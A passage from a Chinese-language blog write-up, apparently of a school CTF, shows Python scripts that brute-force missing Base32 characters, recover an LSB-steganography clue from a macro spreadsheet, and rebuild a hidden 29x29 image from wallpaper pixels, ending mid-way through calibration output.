&#125;)</span><br><span class="line">        </span><br><span class="line">        flag1 = solve_challenge1(s)</span><br><span class="line">        flag2 = solve_challenge2(s)</span><br><span class="line">        flag3 = solve_challenge3(s)</span><br><span class="line">        flag4 = solve_challenge4(s)</span><br><span class="line">        flag5 = solve_challenge5_manual(s)</span><br><span class="line">        </span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;=&quot;</span>*<span class="number">30</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;所有挑战已完成，结果如下:&quot;</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;Challenge 1 Flag: <span class="subst">&#123;flag1&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;Challenge 2 Flag: <span class="subst">&#123;flag2&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;Challenge 3 Flag: <span class="subst">&#123;flag3&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;Challenge 4 Flag: <span class="subst">&#123;flag4&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;Challenge 5 Flag: <span class="subst">&#123;flag5&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;=&quot;</span>*<span class="number">30</span>)</span><br></pre></td></tr></table></figure><p><img src="/2025/08/25/2025-8-25-%E6%A0%A1%E8%B5%9B3%E5%A4%8D%E7%8E%B0/image-20250830211546123.png" alt="image-20250830211546123"></p><h2 id="神秘的图片"><a href="#神秘的图片" class="headerlink" title="神秘的图片"></a>神秘的图片</h2><p><img src="/2025/08/25/2025-8-25-%E6%A0%A1%E8%B5%9B3%E5%A4%8D%E7%8E%B0/image-20250830220049796.png" alt="image-20250830220049796"></p><p><img src="/2025/08/25/2025-8-25-%E6%A0%A1%E8%B5%9B3%E5%A4%8D%E7%8E%B0/image-20250830220539746.png" alt="image-20250830220539746"></p><p>对照出来如下，&#x2F;为未知的</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">inZgc/tzEBrwY/LDNMQEcmJB</span><br></pre></td></tr></table></figure><p>加上图片的名字base32解码，脚本跑盲猜</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">decode_with_unknowns</span>(<span class="params">encoded_str</span>):</span><br><span class="line">    <span class="comment"># Base32编码中允许的字符 (A-Z, 2-7)</span></span><br><span class="line">    base32_chars = string.ascii_uppercase + <span class="string">&#x27;234567&#x27;</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 找到未知字符的位置</span></span><br><span class="line">    unknown_positions = [i <span class="keyword">for</span> i, c <span class="keyword">in</span> <span class="built_in">enumerate</span>(encoded_str) <span class="keyword">if</span> c == <span class="string">&#x27;/&#x27;</span>]</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> <span class="built_in">len</span>(unknown_positions) != <span class="number">2</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;错误：需要正好2个未知字符，实际找到<span class="subst">&#123;<span class="built_in">len</span>(unknown_positions)&#125;</span>个&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 尝试所有可能的字符组合</span></span><br><span class="line">    count = <span class="number">0</span></span><br><span class="line">    valid_results = []</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> c1 <span class="keyword">in</span> base32_chars:</span><br><span class="line">        <span class="keyword">for</span> c2 <span class="keyword">in</span> base32_chars:</span><br><span class="line">            <span class="comment"># 替换未知字符</span></span><br><span class="line">            temp = <span class="built_in">list</span>(encoded_str)</span><br><span class="line">            temp[unknown_positions[<span class="number">0</span>]] = c1</span><br><span class="line">            temp[unknown_positions[<span class="number">1</span>]] = c2</span><br><span class="line">            candidate = <span class="string">&#x27;&#x27;</span>.join(temp)</span><br><span class="line">            </span><br><span class="line">            <span class="keyword">try</span>:</span><br><span class="line">                <span class="comment"># 尝试解码Base32</span></span><br><span class="line">                decoded = base64.b32decode(candidate)</span><br><span class="line">                <span class="comment"># 尝试将解码结果转换为字符串</span></span><br><span class="line">                decoded_str = decoded.decode(<span class="string">&#x27;utf-8&#x27;</span>, errors=<span class="string">&#x27;ignore&#x27;</span>)</span><br><span class="line">                <span class="comment"># 简单过滤掉大部分无意义的结果</span></span><br><span class="line">                <span class="keyword">if</span> <span class="built_in">len</span>(decoded_str.strip()) &gt; <span class="number">0</span> <span class="keyword">and</span> <span class="built_in">any</span>(c.isprintable() <span class="keyword">for</span> c <span class="keyword">in</span> decoded_str):</span><br><span class="line">                    valid_results.append((c1, c2, decoded_str))</span><br><span class="line">                    <span class="built_in">print</span>(<span class="string">f&quot;找到可能结果: <span class="subst">&#123;c1&#125;</span>, <span class="subst">&#123;c2&#125;</span> -&gt; <span class="subst">&#123;decoded_str[:<span class="number">50</span>]&#125;</span>...&quot;</span>)</span><br><span class="line">            <span class="keyword">except</span>:</span><br><span class="line">                <span class="keyword">pass</span></span><br><span class="line">            </span><br><span class="line">            count += <span class="number">1</span></span><br><span class="line">            <span class="keyword">if</span> count % <span class="number">100</span> == <span class="number">0</span>:</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">f&quot;已尝试<span class="subst">&#123;count&#125;</span>/<span class="subst">&#123;<span class="built_in">len</span>(base32_chars)**<span class="number">2</span>&#125;</span>种组合&quot;</span>)</span><br><span class="line">    </span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;\n总共找到<span class="subst">&#123;<span class="built_in">len</span>(valid_results)&#125;</span>个可能的有效结果&quot;</span>)</span><br><span class="line">    <span class="keyword">return</span> valid_results</span><br><span class="line"></span><br><span class="line"><span class="comment"># 待解码的字符串</span></span><br><span class="line">encoded_string = <span class="string">&quot;inZgc/tzEBrwY/LDNMQEcmJB5C7ZTZUYV7SLRKXIUGUONIF44WM2ELROF3SL3IHIV62OJOEN5CB33ZF3UV4GY43Y42EZHZN4QA76TAVDFYXC4===&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 注意：Base32通常使用大写字母，这里先转换为大写</span></span><br><span class="line">encoded_string = encoded_string.upper()</span><br><span class="line"></span><br><span class="line"><span class="comment"># 执行解码</span></span><br><span class="line">results = decode_with_unknowns(encoded_string)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 打印前几个结果</span></span><br><span class="line"><span class="keyword">if</span> results:</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;\n前5个可能的结果:&quot;</span>)</span><br><span class="line">    <span class="keyword">for</span> i, (c1, c2, result) <span class="keyword">in</span> <span class="built_in">enumerate</span>(results[:<span class="number">5</span>]):</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;<span class="subst">&#123;i+<span class="number">1</span>&#125;</span>. 替换字符: <span class="subst">&#123;c1&#125;</span> 和 <span class="subst">&#123;c2&#125;</span> -&gt; 结果: <span class="subst">&#123;result&#125;</span>&quot;</span>)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="/2025/08/25/2025-8-25-%E6%A0%A1%E8%B5%9B3%E5%A4%8D%E7%8E%B0/image-20250830220154744.png" alt="image-20250830220154744"></p><p>010打开，里面有段字符</p><p><img src="/2025/08/25/2025-8-25-%E6%A0%A1%E8%B5%9B3%E5%A4%8D%E7%8E%B0/image-20250830220852202.png" alt="image-20250830220852202"></p><p>修改后缀xlsm打开</p><p><img src="/2025/08/25/2025-8-25-%E6%A0%A1%E8%B5%9B3%E5%A4%8D%E7%8E%B0/image-20250830220916790.png" alt="image-20250830220916790"></p><p>把key填上<img src="/2025/08/25/2025-8-25-%E6%A0%A1%E8%B5%9B3%E5%A4%8D%E7%8E%B0/image-20250830221001042.png" alt="image-20250830221001042"></p><p>双击A1</p><p><img src="/2025/08/25/2025-8-25-%E6%A0%A1%E8%B5%9B3%E5%A4%8D%E7%8E%B0/image-20250830221047623.png" alt="image-20250830221047623"></p><p>在表格中发现了一个链接和一个图片，LSB隐写</p><p><img src="/2025/08/25/2025-8-25-%E6%A0%A1%E8%B5%9B3%E5%A4%8D%E7%8E%B0/image-20250830221218832.png" alt="image-20250830221218832"></p><p><img src="/2025/08/25/2025-8-25-%E6%A0%A1%E8%B5%9B3%E5%A4%8D%E7%8E%B0/image-20250830222659828.png" alt="image-20250830222659828"></p><h2 id="壁纸"><a href="#壁纸" class="headerlink" title="壁纸"></a>壁纸</h2><p>左上角</p><p><img src="/2025/08/25/2025-8-25-%E6%A0%A1%E8%B5%9B3%E5%A4%8D%E7%8E%B0/image-20250830223825710.png" alt="image-20250830223825710"></p><p>左上角第一个像素为26,17</p><p>竖方向每个点宽距为35</p><p>横方向每个点宽距为53</p><p>(这宽距竟然有误差)</p><p>竖方向共有29个，横方向共有29个</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> PIL <span class="keyword">import</span> Image, ImageDraw</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">find_best_pixel_on_line</span>(<span class="params">pixels, start_x, start_y, end_x, end_y</span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">    在一条直线（水平或垂直）上搜索最接近黑色或白色的像素点。</span></span><br><span class="line"><span class="string">    返回该点的精确坐标。</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">    min_dist_sq = <span class="built_in">float</span>(<span class="string">&#x27;inf&#x27;</span>)</span><br><span class="line">    best_coord = (start_x, start_y) <span class="comment"># 默认使用起始点</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># 确定迭代范围</span></span><br><span class="line">    x_range = <span class="built_in">range</span>(<span class="built_in">min</span>(start_x, end_x), <span class="built_in">max</span>(start_x, end_x) + <span class="number">1</span>)</span><br><span class="line">    y_range = <span class="built_in">range</span>(<span class="built_in">min</span>(start_y, end_y), <span class="built_in">max</span>(start_y, end_y) + <span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> x <span class="keyword">in</span> x_range:</span><br><span class="line">        <span class="keyword">for</span> y <span class="keyword">in</span> y_range:</span><br><span class="line">            <span class="keyword">try</span>:</span><br><span class="line">                r, g, b = pixels[x, y][:<span class="number">3</span>]</span><br><span class="line">                </span><br><span class="line">                <span class="comment"># 计算到纯黑和纯白的颜色距离平方</span></span><br><span class="line">                dist_to_black_sq = r**<span class="number">2</span> + g**<span class="number">2</span> + b**<span class="number">2</span></span><br><span class="line">                dist_to_white_sq = (<span class="number">255</span> - r)**<span class="number">2</span> + (<span class="number">255</span> - g)**<span class="number">2</span> + (<span class="number">255</span> - b)**<span class="number">2</span></span><br><span class="line">                current_min_dist_sq = <span class="built_in">min</span>(dist_to_black_sq, dist_to_white_sq)</span><br><span class="line"></span><br><span class="line">                <span class="keyword">if</span> current_min_dist_sq &lt; min_dist_sq:</span><br><span class="line">                    min_dist_sq = current_min_dist_sq</span><br><span class="line">                    best_coord = (x, y)</span><br><span class="line">            <span class="keyword">except</span> IndexError:</span><br><span class="line">                <span class="keyword">continue</span></span><br><span class="line">                </span><br><span class="line">    <span class="keyword">return</span> best_coord</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">extract_calibrated_and_amplify</span>(<span class="params">input_image_path, output_image_path</span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">    校准行列位置，提取像素点，并放大合成新图片。</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">    <span class="comment"># --- 基础参数 ---</span></span><br><span class="line">    start_x, start_y = <span class="number">26</span>, <span class="number">17</span></span><br><span class="line">    h_spacing, v_spacing = <span class="number">53</span>, <span class="number">35</span></span><br><span class="line">    num_points = <span class="number">29</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># --- 可调整参数 ---</span></span><br><span class="line">    <span class="comment"># 校准时搜索的范围（半径）</span></span><br><span class="line">    CALIBRATION_SEARCH_RADIUS = <span class="number">15</span> </span><br><span class="line">    <span class="comment"># 新图片中每个点放大后的方块尺寸（像素）</span></span><br><span class="line">    BLOCK_SIZE = <span class="number">10</span></span><br><span class="line">    <span class="comment"># 新图片边缘的留白（像素）</span></span><br><span class="line">    PADDING = <span class="number">20</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        original_image = Image.<span class="built_in">open</span>(input_image_path).convert(<span class="string">&#x27;RGB&#x27;</span>)</span><br><span class="line">        original_pixels = original_image.load()</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;成功加载原始图片: <span class="subst">&#123;input_image_path&#125;</span>&quot;</span>)</span><br><span class="line">    <span class="keyword">except</span> FileNotFoundError:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;错误：找不到文件 &#x27;<span class="subst">&#123;input_image_path&#125;</span>&#x27;。&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span></span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;打开图片时发生错误: <span class="subst">&#123;e&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># --- 步骤1: 网格校准 ---</span></span><br><span class="line">    calibrated_x_coords = [<span class="number">0</span>] * num_points</span><br><span class="line">    calibrated_y_coords = [<span class="number">0</span>] * num_points</span><br><span class="line"></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;开始校准网格位置...&quot;</span>)</span><br><span class="line">    <span class="comment"># 校准每一行的Y坐标</span></span><br><span class="line">    <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(num_points):</span><br><span class="line">        theoretical_y = start_y + j * v_spacing</span><br><span class="line">        <span class="comment"># 在第一个点的理论位置附近进行垂直搜索</span></span><br><span class="line">        best_coord = find_best_pixel_on_line(</span><br><span class="line">            original_pixels,</span><br><span class="line">            start_x, theoretical_y - CALIBRATION_SEARCH_RADIUS,</span><br><span class="line">            start_x, theoretical_y + CALIBRATION_SEARCH_RADIUS</span><br><span class="line">        )</span><br><span class="line">        calibrated_y_coords[j] = best_coord[<span class="number">1</span>] <span class="comment"># 保存找到的精确y坐标</span></span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;  行 <span class="subst">&#123;j+<span class="number">1</span>&#125;</span>/<span class="subst">&#123;num_points&#125;</span> 校准: 理论 Y=<span class="subst">&#123;theoretical_y&#125;</span>, 实际 Y=<span class="subst">&#123;calibrated_y_coords[j]&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 校准每一列的X坐标</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(num_points):</span><br><span class="line">        theoretical_x = start_x + i * h_spacing</span><br><span class="line">        <span class="comment"># 在第一个点的理论位置附近进行水平搜索</span></span><br><span class="line">        best_coord = find_best_pixel_on_line(</span><br><span class="line">            original_pixels,</span><br><span class="line">            theoretical_x - CALIBRATION_SEARCH_RADIUS, start_y,</span><br><span class="line">            theoretical_x + CALIBRATION_SEARCH_RADIUS, start_y</span><br><span class="line">        )</span><br><span class="line">        calibrated_x_coords[i] = best_coord[<span class="number">0</span>] <span class="comment"># 保存找到的精确x坐标</span></span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;  列 <span class="subst">&#123;i+<span class="number">1</span>&#125;</span>/<span class="subst">&#123;num_points&#125;</span> 校准: 理论 X=<span class="subst">&#123;theoretical_x&#125;</span>, 实际 X=<span class="subst">&#123;calibrated_x_coords[i]&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;网格校准完成！&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># --- 步骤2: 图像合成与放大 ---</span></span><br><span class="line">    <span class="comment"># 计算新图片的尺寸</span></span><br><span class="line">    output_size = num_points * BLOCK_SIZE + <span class="number">2</span> * PADDING</span><br><span class="line">    <span class="comment"># 创建一个白色背景的新图片</span></span><br><span class="line">    new_image = Image.new(<span class="string">&#x27;RGB&#x27;</span>, (output_size, output_size), <span class="string">&#x27;white&#x27;</span>)</span><br><span class="line">    draw = ImageDraw.Draw(new_image)</span><br><span class="line"></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;开始提取像素并合成新图片...&quot;</span>)</span><br><span class="line">    <span class="comment"># 遍历29x29网格</span></span><br><span class="line">    <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(num_points):</span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(num_points):</span><br><span class="line">            <span class="comment"># 使用校准后的精确坐标</span></span><br><span class="line">            extract_x = calibrated_x_coords[i]</span><br><span class="line">            extract_y = calibrated_y_coords[j]</span><br><span class="line"></span><br><span class="line">            <span class="comment"># 获取像素颜色并判断是黑是白</span></span><br><span class="line">            r, g, b = original_pixels[extract_x, extract_y]</span><br><span class="line">            dist_to_black_sq = r**<span class="number">2</span> + g**<span class="number">2</span> + b**<span class="number">2</span></span><br><span class="line">            dist_to_white_sq = (<span class="number">255</span> - r)**<span class="number">2</span> + (<span class="number">255</span> - g)**<span class="number">2</span> + (<span class="number">255</span> - b)**<span class="number">2</span></span><br><span class="line"></span><br><span class="line">            final_color = <span class="string">&quot;black&quot;</span> <span class="keyword">if</span> dist_to_black_sq &lt; dist_to_white_sq <span class="keyword">else</span> <span class="string">&quot;white&quot;</span></span><br><span class="line">            </span><br><span class="line">            <span class="comment"># 在新图片上画一个放大的色块</span></span><br><span class="line">            <span class="comment"># 计算色块的左上角和右下角坐标</span></span><br><span class="line">            top_left_x = PADDING + i * BLOCK_SIZE</span><br><span class="line">            top_left_y = PADDING + j * BLOCK_SIZE</span><br><span class="line">            bottom_right_x = top_left_x + BLOCK_SIZE</span><br><span class="line">            bottom_right_y = top_left_y + BLOCK_SIZE</span><br><span class="line">            </span><br><span class="line">            draw.rectangle(</span><br><span class="line">                [ (top_left_x, top_left_y), (bottom_right_x, bottom_right_y) ],</span><br><span class="line">                fill=final_color,</span><br><span class="line">                outline=<span class="literal">None</span> <span class="comment"># 不需要边框</span></span><br><span class="line">            )</span><br><span class="line"></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        new_image.save(output_image_path)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;提取与合成完成！放大后的图片已保存为: <span class="subst">&#123;output_image_path&#125;</span>&quot;</span>)</span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;保存新图片时发生错误: <span class="subst">&#123;e&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># --- 使用示例 ---</span></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    <span class="comment"># 1. 将 &#x27;your_original_image.png&#x27; 替换成您的图片文件名</span></span><br><span class="line">    input_file = <span class="string">&quot;wallpaper.png&quot;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># 2. 这是最终生成的放大后的图片文件</span></span><br><span class="line">    output_file = <span class="string">&quot;final_amplified_image.png&quot;</span></span><br><span class="line"></span><br><span class="line">    extract_calibrated_and_amplify(input_file, output_file)</span><br></pre></td></tr></table></figure><p><img src="/2025/08/25/2025-8-25-%E6%A0%A1%E8%B5%9B3%E5%A4%8D%E7%8E%B0/image-20250831103930683.png" alt="image-20250831103930683"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br></pre></td><td class="code"><pre><span class="line">行 1/29 校准: 理论 Y=17, 实际 Y=17</span><br><span class="line">  行 2/29 校准: 理论 Y=52, 实际 Y=52</span><br><span class="line">  行 3/29 校准: 理论 Y=87, 实际 Y=88</span><br><span class="line">  行 4/29 校准: 理论 Y=122, 实际 Y=123</span><br><span class="line">  行 5/29 校准: 理论 Y=157, 实际 Y=158</span><br><span class="line">  行 6/29 校准: 理论 Y=192, 实际 Y=194</span><br><span class="line">  行 7/29 校准: 理论 Y=227, 实际 Y=229</span><br><span class="line">  行 8/29 校准: 理论 Y=262, 实际 Y=264</span><br><span class="line">  行 9/29 校准: 理论 Y=297, 实际 Y=300</span><br><span class="line">  行 10/29 校准: 理论 Y=332, 实际 Y=335</span><br><span class="line">  行 11/29 校准: 理论 Y=367, 实际 Y=370</span><br><span class="line">  行 12/29 校准: 理论 Y=402, 实际 Y=406</span><br><span class="line">  行 13/29 校准: 理论 Y=437, 实际 Y=441</span><br><span class="line">  行 14/29 校准: 理论 Y=472, 实际 Y=476</span><br><span class="line">  行 15/29 校准: 理论 Y=507, 实际 Y=512</span><br><span class="line">  行 16/29 校准: 理论 Y=542, 实际 Y=547</span><br><span class="line">  行 17/29 校准: 理论 Y=577, 实际 Y=582</span><br><span class="line">  行 18/29 校准: 理论 Y=612, 实际 Y=617</span><br><span class="line">  行 19/29 校准: 理论 Y=647, 实际 Y=653</span><br><span class="line">  行 20/29 校准: 理论 Y=682, 实际 Y=688</span><br><span class="line">  行 21/29 校准: 理论 Y=717, 实际 Y=723</span><br><span class="line">  行 22/29 校准: 理论 Y=752, 实际 Y=759</span><br><span class="line">  行 23/29 校准: 理论 Y=787, 实际 Y=794</span><br><span class="line">  行 24/29 校准: 理论 Y=822, 实际 Y=829</span><br><span class="line">  行 25/29 校准: 理论 Y=857, 实际 Y=865</span><br><span class="line">  行 26/29 校准: 理论 Y=892, 实际 Y=900</span><br><span class="line">  行 27/29 校准: 理论 Y=927, 实际 Y=935</span><br><span class="line">  行 28/29 校准: 理论 Y=962, 实际 Y=971</span><br><span class="line">  行 29/29 校准: 理论 Y=997, 实际 Y=1006</span><br><span class="line">  列 1/29 校准: 理论 X=26, 实际 X=26</span><br><span class="line">  列 2/29 校准: 理论 X=79, 实际 X=79</span><br><span class="line">  列 3/29 校准: 理论 X=132, 实际 X=132</span><br><span class="line">  列 4/29 校准: 理论 X=185, 实际 X=185</span><br><span class="line">  列 5/29 校准: 理论 X=238, 实际 X=238</span><br><span class="line">  列 6/29 校准: 理论 X=291, 实际 X=291</span><br><span class="line">  列 7/29 校准: 理论 X=344, 实际 X=344</span><br><span class="line">  列 8/29 校准: 理论 X=397, 实际 X=397</span><br><span class="line">  列 9/29 校准: 理论 X=450, 实际 X=450</span><br><span class="line">  列 10/29 校准: 理论 X=503, 实际 X=503</span><br><span class="line">  列 11/29 校准: 理论 X=556, 实际 X=556</span><br><span class="line">  列 12/29 校准: 理论 X=609, 实际 X=609</span><br><span class="line">  列 13/29 校准: 理论 X=662, 实际 X=662</span><br><span class="line">  列 14/29 校准: 理论 X=715, 实际 X=715</span><br><span class="line">  列 15/29 校准: 理论 X=768, 实际 X=768</span><br><span class="line">  列 16/29 校准: 理论 X=821, 实际 X=820</span><br><span class="line">  列 17/29 校准: 理论 X=874, 实际 X=873</span><br><span class="line">  列 18/29 校准: 理论 X=927, 实际 X=926</span><br><span class="line">  列 19/29 校准: 理论 X=980, 实际 X=979</span><br><span class="line">  列 20/29 校准: 理论 X=1033, 实际 X=1032</span><br><span class="line">  列 21/29 校准: 理论 X=1086, 实际 X=1085</span><br><span class="line">  列 22/29 校准: 理论 X=1139, 实际 X=1138</span><br><span class="line">  列 23/29 校准: 理论 X=1192, 实际 X=1191</span><br><span class="line">  列 24/29 校准: 理论 X=1245, 实际 X=1244</span><br><span class="line">  列 25/29 校准: 理论 X=1298, 实际 X=1297</span><br><span class="line">  列 26/29 校准: 理论 X=1351, 实际 X=1350</span><br><span class="line">  列 